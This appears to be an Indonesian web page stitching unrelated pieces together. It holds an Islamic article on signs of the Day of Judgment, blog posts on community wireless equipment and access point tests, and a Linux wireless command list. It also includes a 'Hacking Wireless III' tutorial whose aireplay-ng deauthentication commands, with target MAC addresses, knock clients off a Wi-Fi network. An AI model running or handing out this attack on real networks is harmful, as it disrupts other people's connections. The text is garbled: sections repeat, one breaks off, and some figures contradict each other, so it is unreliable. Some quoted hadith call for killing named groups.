Tanda-Tanda Kiamat
Aqidah
7/2/2007 | 18 Muharram 1428 H | Hits: 62.151
Oleh: Iman Santoso, Lc

Share
0diggsdigg

143
Comments
dakwatuna.com – Sesungguhnya setiap makhluk hidup –apakah itu manusia, hewan, atau tumbuh-tumbuhan– memiliki tanda-tanda dari akhir kesudahan hidupnya di dunia. Tanda-tanda dekatnya kematian manusia adalah rambut beruban, tua, sakit, lemah. Begitu juga halnya dengan hewan, hampir sama dengan manusia. Sedangkan tumbuhan warna menguning, kering, jatuh, lalu hancur. Demikian juga alam semesta, memiliki tanda-tanda akhir masanya seperti kehancuran dan kerusakan.Saa’ah asalnya adalah sebagian malam atau siang. Dikatakan juga: Saa’at segala sesuatu berarti waktunya hilang dan habis. Dari makna ini, maka saa’ah atau kiamat mengandung dua macam, yaitu : Saa’ah khusus bagi setiap makhluk, seperti tanaman binatang dan manusia ketika mati; dan bagi sebuah umat jika datang ajalnya. Itu semua dikatakan telah datang saatnya. Saa’ah umum bagi dunia secara keseluruhan ketika ditiup sangkakala, maka hancurlah segala yang di langit dan di bumi.
Bagaimana dengan kiamat yang sebenarnya? Tentu saja lebih dahsyat, lebih besar, dan lebih mengerikan. Dan Alquran banyak menyebutkan tentang kejadian di hari kiamat. Terjadinya kiamat adalah hal yang gaib. Hanya Allah saja yang tahu. Tidak satu pun dari makhlukNya mengetahui kapan kiamat, baik para nabi maupun malaikat. Allah SWT. Berfirman, “Sesungguhnya Allah, hanya pada sisi-Nya sajalah pengetahuan tentang Hari Kiamat.” (Luqman 34).
Maka ketika ditanya tentang hal ini, Rasulullah saw. Mengembalikannya kepada Allah swt., “Kepada-Nyalah dikembalikan pengetahuan tentang hari kiamat.” (Fushilat: 47)
Allah merahasiakan terjadinya hari kiamat, dan menerangkan bahwa kiamat akan datang secara tiba-tiba. “Mereka menanyakan kepadamu tentang kiamat: ‘Bilakah terjadinya?’ Katakanlah: ‘Sesungguhnya pengetahuan tentang kiamat itu adalah pada sisi Tuhanku; tidak seorang pun yang dapat menjelaskan waktu kedatangannya selain Dia. Kiamat itu amat berat (huru-haranya bagi makhluk) yang di langit dan di bumi. Kiamat itu tidak akan datang kepadamu melainkan dengan tiba-tiba.’ Mereka bertanya kepadamu seakan-akan kamu benar-benar mengetahuinya. Katakanlah: ‘Sesungguhnya pengetahuan tentang hari kiamat itu adalah di sisi Allah, tetapi kebanyakan manusia tidak mengetahui’.” (Al-A’raaf: 187)
Namun demikian, sesungguhnya Allah dengan rahmat-Nya telah menjadikan kiamat memiliki alamat yang menunjukkan ke arah itu dan tanda-tanda yang mengantarkannya. “Maka tidaklah yang mereka tunggu-tunggu melainkan hari kiamat (yaitu) kedatangannya kepada mereka dengan tiba-tiba, karena sesungguhnya telah datang tanda-tandanya. Maka apakah faedahnya bagi mereka kesadaran mereka itu apabila hari kiamat sudah datang?” (Muhammad: 18)
“Yang mereka nanti-nanti tidak lain hanyalah kedatangan malaikat kepada mereka (untuk mencabut nyawa mereka), atau kedatangan Tuhanmu atau kedatangan sebagian tanda-tanda Tuhanmu. Pada hari datangnya sebagian tanda-tanda Tuhanmu tidaklah bermanfaat lagi iman seseorang bagi dirinya sendiri yang belum beriman sebelum itu, atau dia (belum) mengusahakan kebaikan dalam masa imannya. Katakanlah: ‘Tunggulah olehmu sesungguhnya kami pun menunggu (pula’).”(Al-An’am: 158)
Maka tanda-tanda kiamat adalah alamat kiamat yang menunjukkan akan terjadinya kiamat tersebut. Dan tanda-tanda kiamat ada dua: tanda-tanda kiamat besar dan tanda-tanda kiamat kecil.
Tanda kiamat kecil adalah tanda yang datang sebelum kiamat dengan waktu yang relatif lama, dan kejadiannya biasa, seperti dicabutnya ilmu, dominannya kebodohan, minum khamr, berlomba-lomba dalam membangun, dan lain-lain. Terkadang sebagiannya muncul menyertai tanda kiamat besar atau bahkan sesudahnya.
Tanda kiamat besar adalah perkara yang besar yang muncul mendekati kiamat yang kemunculannya tidak biasa terjadi, seperti muncul Dajjal, Nabi Isa a.s., Ya’juj dan Ma’juj, terbit matahari dari Barat, dan lain-lain.
Para ulama berbeda pendapat tentang permulaan yang muncul dari tanda kiamat besar. Tetapi Ibnu Hajar berkata, “Yang kuat dari sejumlah berita tanda-tanda kiamat, bahwa keluarnya Dajjal adalah awal dari tanda-tanda kiamat besar, dengan terjadinya perubahan secara menyeluruh di muka bumi. Dan diakhiri dengan wafatnya Isa a.s. Sedangkan terbitnya matahari dari Barat adalah awal dari tanda-tanda kiamat besar yang mengakibatkan perubahan kondisi langit. Dan berakhir dengan terjadinya kiamat.” Ibnu Hajar melanjutkan, ”Hikmah dari kejadian ini bahwa ketika terbit matahari dari barat, maka tertutuplah pintu taubat.” (Fathul Bari)
Tanda-Tanda Kiamat Kecil
Tanda-tanda kiamat kecil terbagi menjadi dua: Pertama, kejadian sudah muncul dan sudah selesai; seperti diutusnya Rasulullah saw., terbunuhnya Utsman bin ‘Affan, terjadinya fitnah besar antara dua kelompok orang beriman. Kedua, kejadiannya sudah muncul tetapi belum selesai bahkan semakin bertambah; seperti tersia-siakannya amanah, terangkatnya ilmu, merebaknya perzinahan dan pembunuhan, banyaknya wanita dan lain-lain.
Di antara tanda-tanda kiamat kecil adalah:
1. Diutusnya Rasulullah saw
Jabir r.a. berkata, ”Adalah Rasulullah saw. jika beliau khutbah memerah matanya, suaranya keras, dan penuh dengan semangat seperti panglima perang, beliau bersabda, ‘(Hati-hatilah) dengan pagi dan sore kalian.’ Beliau melanjutkan, ‘Aku diutus dan hari Kiamat seperti ini.’ Rasulullah saw. mengibaratkan seperti dua jarinya antara telunjuk dan jari tengah. (HR Muslim)
2. Disia-siakannya amanat
Jabir r.a. berkata, tatkala Nabi saw. berada dalam suatu majelis sedang berbicara dengan sahabat, maka datanglah orang Arab Badui dan berkata, “Kapan terjadi Kiamat ?” Rasulullah saw. terus melanjutkan pembicaraannya. Sebagian sahabat berkata, “Rasulullah saw. mendengar apa yang ditanyakan tetapi tidak menyukai apa yang ditanyakannya.” Berkata sebagian yang lain, “Rasul saw. tidak mendengar.” Setelah Rasulullah saw. menyelesaikan perkataannya, beliau bertanya, “Mana yang bertanya tentang Kiamat?” Berkata lelaki Badui itu, ”Saya, wahai Rasulullah saw.” Rasulullah saw. Berkata, “Jika amanah disia-siakan, maka tunggulah kiamat.” Bertanya, “Bagaimana menyia-nyiakannya?” Rasulullah saw. Menjawab, “Jika urusan diserahkan kepada yang bukan ahlinya, maka tunggulah kiamat.” (HR Bukhari)
3. Penggembala menjadi kaya
Rasulullah saw. ditanya oleh Jibril tentang tanda-tanda kiamat, lalu beliau menjawab, “Seorang budak melahirkan majikannya, dan engkau melihat orang-orang yang tidak beralas kaki, telanjang, dan miskin, penggembala binatang berlomba-lomba saling tinggi dalam bangunan.” (HR Muslim)
4. Sungai Efrat berubah menjadi emas
Dari Abu Hurairah ra. bahwa Rasulullah saw. bersabda, “Tidak akan terjadi kiamat sampai Sungai Eufrat menghasilkan gunung emas, manusia berebutan tentangnya. Dan setiap seratus 100 terbunuh 99 orang. Dan setiap orang dari mereka berkata, ”Barangkali akulah yang selamat.” (Muttafaqun ‘alaihi)
5. Baitul Maqdis dikuasai umat Islam
”Ada enam dari tanda-tanda kiamat: kematianku (Rasulullah saw.), dibukanya Baitul Maqdis, seorang lelaki diberi 1000 dinar, tapi dia membencinya, fitnah yang panasnya masuk pada setiap rumah muslim, kematian menjemput manusia seperti kematian pada kambing dan khianatnya bangsa Romawi, sampai 80 poin, dan setiap poin 12.000.” (HR Ahmad dan At-Tabrani dari Muadz).
6. Banyak terjadi pembunuhan
Dari Abu Hurairah r.a. bahwa Rasulullah saw. bersabda, “Tiada akan terjadi kiamat, sehingga banyak terjadi haraj.. Sahabat bertanya apa itu haraj, ya Rasulullah?” Rasulullah saw. Menjawab, “Haraj adalah pembunuhan, pembunuhan.” (HR Muslim)
7. Munculnya kaum Khawarij
Dari Ali ra. berkata, saya mendengar Rasulullah saw. bersabda, “Akan keluar di akhir zaman kelompok orang yang masih muda, bodoh, mereka mengatakan sesuatu dari firman Allah. Keimanan mereka hanya sampai di tenggorokan mereka. Mereka keluar dari agama seperti anak panah keluar dari busurnya. Di mana saja kamu jumpai, maka bunuhlah mereka. Siapa yang membunuhnya akan mendapat pahala di hari Kiamat.” (HR Bukhari).
8. Banyak polisi dan pembela kezhaliman
“Di akhir zaman banyak polisi di pagi hari melakukan sesuatu yang dimurkai Allah, dan di sore hari melakukan sesutu yang dibenci Allah. Hati-hatilah engkau jangan sampai menjadi teman mereka.” (HR At-Tabrani)
9. Perang antara Yahudi dan Umat Islam
Dari Abu Hurairah bahwa Rasulullah saw. bersabda, “Tidak akan terjadi kiamat sehingga kaum muslimin berperang dengan yahudi. Maka kaum muslimin membunuh mereka sampai ada seorang yahudi bersembunyi di belakang batu-batuan dan pohon-pohonan. Dan berkatalah batu dan pohon, ‘Wahai muslim, wahai hamba Allah, ini yahudi di belakangku, kemari dan bunuhlah ia.’ Kecuali pohon Gharqad karena ia adalah pohon Yahudi.” (HR Muslim)
10. Dominannya Fitnah
Dari Abu Hurairah r.a. bahwa Rasulullah saw. bersabda, “Tidak akan terjadi kiamat, sampai dominannya fitnah, banyaknya dusta dan berdekatannya pasar.” (HR Ahmad).
11. Sedikitnya ilmu
12. Merebaknya perzinahan
13. Banyaknya kaum wanita
Dari Anas bin Malik ra. bahwa Rasulullah saw. bersabda. “Sesungguhnya di antara tanda-tanda kiamat adalah ilmu diangkat, banyaknya kebodohan, banyaknya perzinahan, banyaknya orang yang minum khamr, sedikit kaum lelaki dan banyak kaum wanita, sampai pada 50 wanita hanya ada satu lelaki.” (HR Bukhari)
14. Bermewah-mewah dalam membangun masjid
Dari Anas ra. bahwa Rasulullah saw. bersabda, “Diantara tanda kiamat adalah bahwa manusia saling membanggakan dalam keindahan masjid.” (HR Ahmad, An-Nasa’i dan Ibnu Hibban)
15. Menyebarnya riba dan harta haram
Dari Abu Hurairah ra. berkata, Rasulullah saw. bersabda, “Akan datang pada manusia suatu waktu, setiap orang tanpa kecuali akan makan riba, orang yang tidak makan langsung, pasti terkena debu-debunya.” (HR Abu Dawud, Ibnu Majah dan Al-Baihaqi)
Dari Abu Hurairah ra. berkata, Rasulullah saw. bersabda, “Akan datang pada manusia suatu saat di mana seseorang tidak peduli dari mana hartanya didapat, apakah dari yang halal atau yang haram.” (HR Ahmad dan Bukhari)
Tanda-Tanda Kiamat Besar
Sedangkan tanda-tanda kiamat besar yaitu kejadian sangat besar dimana kiamat sudah sangat dekat dan mayoritasnya belum muncul, seperti munculnya Imam Mahdi, Nabi Isa, Dajjal, Ya’juj dan Ma’juj.
Ayat-ayat dan hadits yang menyebutkan tanda-tanda kiamat besar di antaranya:
Hingga apabila dia telah sampai di antara dua buah gunung, dia mendapati di hadapan kedua bukit itu suatu kaum yang hampir tidak mengerti pembicaraan. Mereka berkata, “Hai Dzulqarnain, sesungguhnya Ya’juj dan Ma’juj itu orang-orang yang membuat kerusakan di muka bumi, maka dapatkah kami memberikan sesuatu pembayaran kepadamu, supaya kamu membuat dinding antara kami dan mereka?” Dzulqarnain berkata, “Apa yang telah dikuasakan oleh Tuhanku kepadaku terhadapnya adalah lebih baik, maka tolonglah aku dengan kekuatan (manusia dan alat-alat), agar aku membuatkan dinding antara kamu dan mereka.” (Al-Kahfi: 82)
“Dan apabila perkataan telah jatuh atas mereka, Kami keluarkan sejenis binatang melata dari bumi yang akan mengatakan kepada mereka, bahwa sesungguhnya manusia dahulu tidak yakin kepada ayat-ayat Kami.” (An-Naml: 82)
Dari Hudzaifah bin Usaid Al-Ghifari ra, berkata: Rasulullah saw. muncul di tengah-tengah kami pada saat kami saling mengingat-ingat. Rasulullah saw. bertanya, “Apa yang sedang kamu ingat-ingat?” Sahabat menjawab, “Kami mengingat hari kiamat.” Rasulullah saw. bersabda,”Kiamat tidak akan terjadi sebelum engkau melihat 10 tandanya.” Kemudian Rasulullah saw. menyebutkan: Dukhan (kabut asap), Dajjaal, binatang (pandai bicara), matahari terbit dari barat, turunnya Isa as. Ya’juj Ma’juj dan tiga gerhana, gerhana di timur, barat dan Jazirah Arab dan terakhir api yang keluar dari Yaman mengantar manusia ke Mahsyar. (HR Muslim)
Dari Abdullah bin Mas’ud ra. berkata, Rasulullah saw. bersabda, ”Hari tidak akan berakhir, dan tahun belum akan pergi sehingga bangsa Arab dipimpin oleh seorang dari keluargaku, namanya sama dengan namaku.” (HR Ahmad)
Perbedaan antara tanda-tanda kiamat kecil dan kiamat besar adalah :
Tanda-tanda kiamat kecil secara umum datang lebih dahulu dari tanda-tanda kiamat besar.
Tanda-tanda kiamat kecil sebagiannya sudah terjadi, sebagiannya sedang terjadi dan sebagiannya akan terjadi. Sedangkan tanda-tanda kiamat besar belum terjadi.
Tanda kiamat kecil bersifat biasa dan tanda kiamat besar bersifat luar biasa.
Tanda kiamat kecil berupa peringatan agar manusia sadar dan bertaubat. Sedangkan kiamat besar jika sudah datang, maka tertutup pintu taubat.
Tanda-tanda kiamat besar jika muncul satu tanda, maka akan diikuti tanda-tanda yang lainnya. Dan yang pertama muncul adalah terbitnya matahari dari Barat.
[]

date Senin, 23 Agustus 2010

Mengenal Perangkat Wireless RT-RW Net


Banyaknya pertanyaan yang diajukan ke penulis mengenai panduan peralatan yang dibutuhkan membuat RT RW Net, mendorong kami menuliskannya dalam blog ini,
pertama yang anda siapkan, adalah bahwa anda sudah memiliki koneksi internet Unlimited di tempat atau rumah yang akan dijadikan sebagai pemancar Wireless LAN(WLAN) anda.
Peralatan yang dibutuhkan antara lain :
1. Access Point








Fungsi Access Point ibaratnya sebagai Hub/Switch di jaringan lokal, yang bertindak untuk menghubungkan jaringan lokal dengan jaringan wireless/nirkabel para client/tetangga anda, di access point inilah koneksi internet dari tempat anda dipancarkan atau dikirim melalui gelombang radio, ukuran kekuatan sinyal juga mempengaruhi area coverage yang akan dijangkau, semakin tinggi kekuatan sinyal(ukurannya dalam satuan dBm atau mW) semakin luas jangkauannya.

2. Antena Omni









Untuk memperluas coverage area hingga beberapa Kilometer, anda memerlukan antena omni eksternal, meski ketika anda membeli access point sudah dilengkapi antena omni, namun belumlah cukup karena hanya berkekuatan sekitar 3-5dB, untuk memperluas area jangkauannya, anda memerlukan antena Omni eksternal, yang rata-rata berkekuatan 15dB.
Antena Omni ini memiliki pancaran atau radiasi 360 derajat, jadi cocok bisa menjangkau client dari arah mana saja.

3. Box Access Point







Untuk melindungi access point anda, maka diperlukan pelindung berbentuk kotak, bisa terbuat dari plastik atau plat besi, rata-rata kotak ini sudah dilengkapi dengan kunci pengaman, dan box ini memang harus diletakkan persis di bawah antena.

4. Kabel Pigtail/Kabel Jumper








Kabel Pigtail atau kabel jumperl diperlukan untuk menghubungkan antara antena omni dengan dengan access point, perhatikan panjang maksimal yang diperlukan hanya 1 meter, selebih dari itu anda akan mengalami degradasi sinyal(loss dB) Pada kedua ujung kabel terdapat konektor dimana type konektor disesuaikan dengan konektor yang melekat pada access point anda.

5. POE (Power Over Ethernet)







Agar kabel listrik tidak dinaikkan ke atas untuk "menghidupkan" access point maka anda memerlukan alat "POE" ini yang fungsinya mengalirkan listrik melalui kabel ethernet atau kabel UTP/STP, dengan alat ini maka anda tidak perlu repot-repot lagi mengulur kabel listrik ke atas tower, lebih praktis dan hemat.

6. Kabel UTP/STP






Meski namanya perangkat wireless, namun peranan kabel juga diperlukan, kabel UTP/STP ini diperlukan untuk menghubungkan antara access point dengan jaringan kabel pada LAN lokal anda, jadi di bawah dia bisa ditancapkan ke komputer Gateway/Router atau ke Hub/Switch, pilihlah kabel UTP/STP yang berkualitas baik guna meningkatkan kualitas arus listrik yang dilewatkan melalui POE.

7. Penangkal Petir (Lightning Arrester)





Sebagai pengaman dari petir maka anda memerlukan alat ini yang berfungsi menyalurkan kelebihan beban listrik saat petir menyambar ke kabel pembumian(grounding), komponen ini dipasang pada kabel jumper antara perangkat access point dengan antena eksternal. Grounding untuk penangkal petir umumnya ditanam dengan batang tembaga hingga kedalaman beberapa meter sampai mencapai sumber air. Ingat grounding yang kurang baik akan menyebabkan perangkat wireless tetap rentan terhadap serangan petir.

8. Tower








Guna mendapatkan jangkauan area coverage yang maksimal, anda perlu menaikkan antena omni eksternal ke tempat yang tinggi agar client WLAN anda bisa menangkap sinyal radio anda dengan baik.

## PERANGKAT CLIENT WLAN ##

Pada sisi client, untuk menangkap sinyal dari "antena omni" anda maka perangkat client sbb :
1. Untuk Client yang jaraknya dari tempat pemancar kurang dari 1 KM, lebih ekonomis jika menggunakan wajan bolic, dimana pada perangkat tersebut biasanya sudah dilengkapi dengan USB Wifi, yang disambungkan dengan kabel UTP plus kabel extended USB, jadi langsung anda bisa menancapkannya ke komputer.



2. Apabila jarak client lebih dari 1 KM, anda membutuhkan 2 perangkat, pertama, access point dan kedua antena eksternal pengarah atau type grid untuk menangkap sinyal dari pemancar anda. Berikut rekomendasinya :
- Jarak 0-1 KM, pakailah wajan bolic lebih ekonomis
- Jarak 1-2 KM, Akses poin merk Edimax/Minitar/Linksys, antenanya anda bisa
pakai Yagi atau Backfire
- Jarak 2-3 KM, Akses poin merk Edimax/Minitar/Linksys, antena Grid 24db
- Jarak 3-10 KM. Akses poin merk Senao SL2611/Mikrotik, antena Grid 24db
- Jarak 10 KM lebih, Akses poin merk Senao ECCB3220/Mikrotik, antena Grid
24db.

date

TEST BERBAGAI AKSES POIN


Pada kesempatan kali ini kami menguraikan test/uji berbagai merk access point yang beredar di pasaran saat ini, sengaja dalam pengujian ini kami membiarkan setting akses poin dalam kondisi defaultnya, kalaupun ada itu hanya sekedar mengganti setiing ip address saja, demikian selamat menikmati
Pengujian menggunakan USB Wireless Edimax EW7318UG berchipsetkan Ralink yang diset sebagai Akses Poin(AP) dalam jaringan Ad Hoc, serta sebagai client penerima adalah PCMCIA WLAN AR5001X milik penulis yang berchipsetkan Atheros, dan alat test tool Netstumbler versi 0.4.0, kekuatan signal mencapai maksimum hingga 44 dan SNR 38 pada jarak 5 meter yang terhalang dinding tembok. Penulis juga melakukan ping dari komputer Windows XP ke USB Wifi Edimax dengan menggunakan perintah :
ping 192.168.1.50 -n 100 -l 65500
dimana perintah tersebut melakukan ping dengan kekuatan beban sebesar 65.500 bytes ke USB Wifi Edimax selama 100 kali, hasilnya adalah paket yang terkirim sebanyak 97 dan 7 paket hilang (7%loss), waktu tempuh minimum 126ms, maksimum 306ms, rata-rata 173ms. Penulis juga melakukan transfer file video sebesar 547.906KB, hasilnya terkirim dengan mulus, tanpa terputus-putus, kesimpulanya adalah anda layak untuk membelinya, cocok banget buat berhotspot ria.


Test AP TP-LINK TP-link eXtended Range 54M Wireless Access Point

Pada kesempatan yng sama penulis melakukan test pada Akses Poin merk TP-Link TL-i, akses poin yang lagi naik daun ini berchipsetkan Atheros, sebagai client, tetap kami gunakan PCMCIA WLAN AR5001X , pada jarak 5 meter yang terhalang tembok tebal, kami berhasil melakukan transfer data berupa sebuah file sebesar 56,1MB tanpa terputus-putus, selama 2 menit 36,5 detik. Kemudian tetap pada jarak 5 meter yang terhalang tembok rapat, penulis melakukan test dengan Nestumbler, didapat kekuatan signal maksimal sebesar 37 dan SNR juga 32, lalu penulis juga melakukan ping dari notebook yang berbasiskan Windows XP ke AP TP-Link dengan menggunakan perintah
ping 192.168.1.1 -n 100 -l 65500
dimana perintah tersebut melakukan ping dengan kekuatan beban sebesar 65.500 bytes ke AP TP-Link selama 100 kali, hasilnya adalah paket yang terkirim 0, tidak ada satupun yang berhasil terkirim, semuanya RTO (Request Time Out), begitu pula ketika diberi beban 1500 byte, hasilnya tetap RTO semua, baru ketika diberi beban 1470byte, 100% paket terkirim semua. Kesimpulannya meski mengusung chipset bagus, tapi kinerja TP-Link masih kurang memuaskan.



Tes AP Edimax 7206Apg

Kali ini penulis melkukan test pada Akses Poin merk Edimax 7206Apg, akses poin yang kawakan di kalangan praktisi wifi ini berchipsetkan Realtek, sebagai client, tetap kami gunakan PCMCIA WLAN AR5001X , pada jarak 5 meter yang terhalang tembok tebal, kami berhasil melakukan transfer data berupa sebuah file sebesar 56,1MB tanpa terputus-putus dalam waktu 41,9 detik. Kemudian tetap pada jarak 5 meter yang terhalang tembok rapat, penulis melakukan test dengan Nestumbler, didapat kekuatan signal maksimal sebesar 33 dan SNR sebesar 30, lalu penulis juga melakukan ping dari notebook yang berbasiskan Windows XP ke AP Edimax dengan menggunakan perintah
ping 192.168.2.1 -n 100 -l 65500
dimana perintah tersebut melakukan ping dengan kekuatan beban sebesar 65.500 bytes ke AP TP-Link selama 100 kali, hasilnya adalah paket yang berhasil terkirim sebanyak 95 dan 5 paket hilang (5%loss), waktu tempuh minimum 125ms, maksimum 516ms, rata-rata 176ms.
Kesimpulannya nama tersohor Edimax, memang bukan bualan atau promosi belaka, meski tingkat signal di bawah AP TP-Link tapi performanya jauh diatas TP-Link.



Tes AP MINITAR Broadband Router

Kami juga melakukan test pada Akses Poin + Router merk Minitar, akses poin yang kawakan di kalangan praktisi wifi ini berchipsetkan Realtek, sebagai client, tetap kami gunakan PCMCIA WLAN AR5001X , pada jarak 5 meter yang terhalang tembok tebal, kami berhasil melakukan transfer data berupa sebuah file sebesar 56,1MB tanpa terputus-putus dalam waktu 51,3 detik. Kemudian tetap pada jarak 5 meter yang terhalang tembok rapat, penulis melakukan test dengan Nestumbler, didapat kekuatan signal maksimal sebesar 36 dan SNR sebesar 29, lalu penulis juga melakukan ping dari notebook yang berbasiskan Windows XP ke AP Edimax dengan menggunakan perintah
ping 192.168.1.254 -n 100 -l 65500
dimana perintah tersebut melakukan ping dengan kekuatan beban sebesar 65.500 bytes ke AP Minitar selama 100 kali, hasilnya adalah paket yang berhasil terkirim sebanyak 98 dan 2 paket hilang (2%loss), waktu tempuh minimum 136ms, maksimum 259ms, rata-rata 165ms.
Kesimpulannya AP plus Router ini layak dijadikan sebagai gawang internet anda, kemampuan memorynya yang cukup besar yakni 256MB, mampu memberikan pelayanan yang cukup baik bagi para clientnya.



Tes AP Linksys WAP54G

Test juga dilakukan pada Akses Poin merk Linksys WAP 54G, akses poin yang kawakan di kalangan praktisi wifi ini berchipsetkan Realtek, sebagai client, tetap kami gunakan PCMCIA WLAN AR5001X , pada jarak 5 meter yang terhalang tembok tebal, kami berhasil melakukan transfer data berupa sebuah file sebesar 56,1MB tanpa terputus-putus dalam waktu 44,3 detik. Kemudian tetap pada jarak 5 meter yang terhalang tembok rapat, penulis melakukan test dengan Nestumbler, didapat kekuatan signal maksimal sebesar 25 dan SNR sebesar 31, lalu penulis juga melakukan ping dari notebook yang berbasiskan Windows XP ke AP Edimax dengan menggunakan perintah
ping 192.168.1.254 -n 100 -l 65500
dimana perintah tersebut melakukan ping dengan kekuatan beban sebesar 65.500 bytes ke AP Minitar selama 100 kali, hasilnya adalah paket yang berhasil terkirim sebanyak 100 dan 0 paket hilang (0%loss), waktu tempuh minimum 126ms, maksimum 237ms, rata-rata 146ms.
Kesimpulannya AP besutan Cisco ini layak dijadikan sebagai andalan hotspot anda, kecepatan dan kestabilannya memang cukup mengagumkan, layak dengan design bodynya yang kokoh namun menawan.



Tes AP Edimax BR-6204Wg Wireless 802.11b/g Broadband Router with 4 Ports Switch

Test pada Akses Poin merk Edimax Router, akses poin yang kawakan di kalangan praktisi wifi ini berchipsetkan Realtek, sebagai client, tetap kami gunakan PCMCIA WLAN AR5001X , pada jarak 5 meter yang terhalang tembok tebal, kami berhasil melakukan transfer data berupa sebuah file sebesar 56,1MB tanpa terputus-putus dalam waktu 1 menit 5,7 detik. Kemudian tetap pada jarak 5 meter yang terhalang tembok rapat, penulis melakukan test dengan Nestumbler, didapat kekuatan signal maksimal sebesar 27 dan SNR sebesar 23, lalu penulis juga melakukan ping dari notebook yang berbasiskan Windows XP ke AP Edimax dengan menggunakan perintah
ping 192.168.2.1 -n 100 -l 65500
dimana perintah tersebut melakukan ping dengan kekuatan beban sebesar 65.500 bytes ke AP TP-Link selama 100 kali, hasilnya adalah paket yang berhasil terkirim sebanyak 94 dan 6 paket hilang (6%loss), waktu tempuh minimum 144ms, maksimum 716ms, rata-rata 184ms.

date

Hacking Wireless III : Melumpuhkan Client yang terhubung pada suatu AP:
Melumpuhkan Client yang terhubung pada suatu AP:
Jalankan Live CD LinuxBackTrack 2.

Jalankan Kismet untuk mengetahui MAC-Address AP dan MAC-Address Client serta channel dari AP. Lalu catat semua infrmasi yang didapat.
Tutup Kismet, lalu buka console, ketikkan:
#airmon-ng stop ath0 -> untuk mematikan driver ath0
#airmon-ng stop ath1 -> untuk mematikan driver ath1
#airmon-ng start wifi0 -> menghidupkan/mengaktifkan driver

Jalankan scanning wireless menggunakan Airodump :
#airodump-ng ath0
Berikutnya buka konsole satu lag(dgn Airodump masih aktif jalan) lakukan setting ath0 untuk melakukan serangan (De Authentication) pada komputer client (target). Ketikkan:
#ifconfig ath0 up -> untuk mengaktifkan ath0
#iwconfig ath0 mode monitor channel 11 -> menentukan agar ath0 dalam mode monitor, sedangkan angka 11 merupakan channel yang dipakai oleh AP (didapatkan dari hasil scanning Kismet).

Langkah terakhir, kita lakukan serangan, ketikkan:
#aireplay-ng --deauth 20 -c 00:0E:2E:C1:1E:83 -a 00:0E:2E:C2:2C:0E ath0
Keterangan:
Aireplay-ng -> program yang digunakan untuk melakukan de authentication
--deauth -> option untuk serangan de authentication

20 -> jumlah sending packet
00:0E:2E:C1:1E:83 -> MAC-Address komputer target
-a -> option untuk Access Point
00:0E:2E:C2:2C:0E -> MAC-Address Access Point

date

Wireless Command Lines in Linux


Pada kesempatan kali ini kami membahas berbagai perintah setting wireless di Linux, namun tidak semua card atau PCMCIA support dengan perintah-perintah di bawah ini :
*Untuk menghubungkan ke wireless LAN yang Open atau Secured by WEP (DHCP)
#iwconfig [interface] mode managed key [WEP key]
->Gantilah kata "interface" dengan nama interface anda yang lagi aktif saat ini, misal ath0, wlan0 atau eth1.
->WEP key, masukkanlah kata kuci WEP, 10 carakter hexadecimal untuk 64 bit dan 26 carakter untuk 128 bit.
#iwconfig essid "[ESSID]" ->Spesifikasi SSID dari suatu WLAN
#dhclient [interface] -> untuk mendapatkan IP address, netmask, DNS server and default gateway dari akses poin

*Untuk menghubungkan ke wireless LAN yang Open atau Secured by WEP (IP Manual/Statis)
#iwconfig [interface] mode managed key [WEP key]

#iwconfig essid "[ESSID]"
#route add default gw [IP of default gateway] ->Masukkan Ip Address gatewaynya
#echo nameserver [IP address of DNS server] >> /etc/resolve.conf, konfigurasikan AP ->Konfigurasikan DNS server anda
#ping www.detik.com ->ping ke internet untuk uji koneksi

* Kumpulan perintah iwconfig
iwconfig [interface] mode master ->Menjadikan kartu PCMCIA dalam mode akses poin
# iwconfig [interface] mode managed -> Menjadikan kartu PCMCIA anda dalam mode client pada jaringan wifi infrastruktur
# iwconfig [interface] mode ad-hoc ->Mengeset kartu anda sebagai anggota di jaringan wifi ad hoc tanpa akses poin
#iwconfig [interface] mode monitor ->Mengeset kartu anda dalam mode monitor
# iwconfig [interface] essid “your ssid_here” ->konfigurasikan ssid jaringan anda.
# iwconfig [interface] key 1111-1111-1111-1111 (mengeset kunci WEP 128bit)
# iwconfig [interface] key 11111111 (mengeset kunci WEP 65 bit)
# iwconfig [interface] key off (menonaktifkan kunci WEP)
#iwconfig [interface] key open (menset sebagai open mode,tidak diperlukan autentikasi)
# iwconfig [interface] channel [channel no.] (menset sebuah channel 1-14)
#iwconfig [interface] channel auto (memilih channel otomatis)
#iwconfig [interface] freq 2.422G (menset channel dalam Ghz)
#

#iwconfig [interface] ap 11:11:11:11:11:11 (memaksa kartu untuk mendaftar ke alamat AP)
# iwconfig [interface] rate 11M (kartu akan menggunakan kecepatan tertentu)
# iwconfig [interface] rate auto (memilih kecepatan otomatis)
# iwconfig [interface] rate auto 5.5M (kartu akan menggunakan kecepatan tertentu dan kecepatan di bawahnya jika memang diperlukan)

*Perintah ifconfig
#ifconfig [interface] up (mengaktifkan kartu jaringan)
#ifconfig [interface] down (menonaktifkan kartu jaringan)
#
ifconfig [interface] [IP address] netmask [subnet-mask] (menset IP address dan subnet mask scr manual)
#
ifconfig [interface] hw ether [MAC] (Merubah MAC address kartu PCMCIA dalam format 11:11:11:11:11:11)

date

TEST BERBAGAI AKSES POIN


Pada kesempatan kali ini kami menguraikan test/uji berbagai merk access point yang beredar di pasaran saat ini, sengaja dalam pengujian ini kami membiarkan setting akses poin dalam kondisi defaultnya, kalaupun ada itu hanya sekedar mengganti setiing ip address saja, demikian selamat menikmati
Pengujian menggunakan USB Wireless Edimax EW7318UG berchipsetkan Ralink yang diset sebagai Akses Poin(AP) dalam jaringan Ad Hoc, serta sebagai client penerima adalah PCMCIA WLAN AR5001X milik penulis yang berchipsetkan Atheros, dan alat test tool Netstumbler versi 0.4.0, kekuatan signal mencapai maksimum hingga 44 dan SNR 38 pada jarak 5 meter yang terhalang dinding tembok. Penulis juga melakukan ping dari komputer Windows XP ke USB Wifi Edimax dengan menggunakan perintah :
ping 192.168.1.50 -n 100 -l 65500
dimana perintah tersebut melakukan ping dengan kekuatan beban sebesar 65.500 bytes ke USB Wifi Edimax selama 100 kali, hasilnya adalah paket yang terkirim sebanyak 97 dan 7 paket hilang (7%loss), waktu tempuh minimum 126ms, maksimum 306ms, rata-rata 173ms. Penulis juga melakukan transfer file video sebesar 547.906KB, hasilnya terkirim dengan mulus, tanpa terputus-putus, kesimpulanya adalah anda layak untuk membelinya, cocok banget buat berhotspot ria.


Test AP TP-LINK TP-link eXtended Range 54M Wireless Access Point

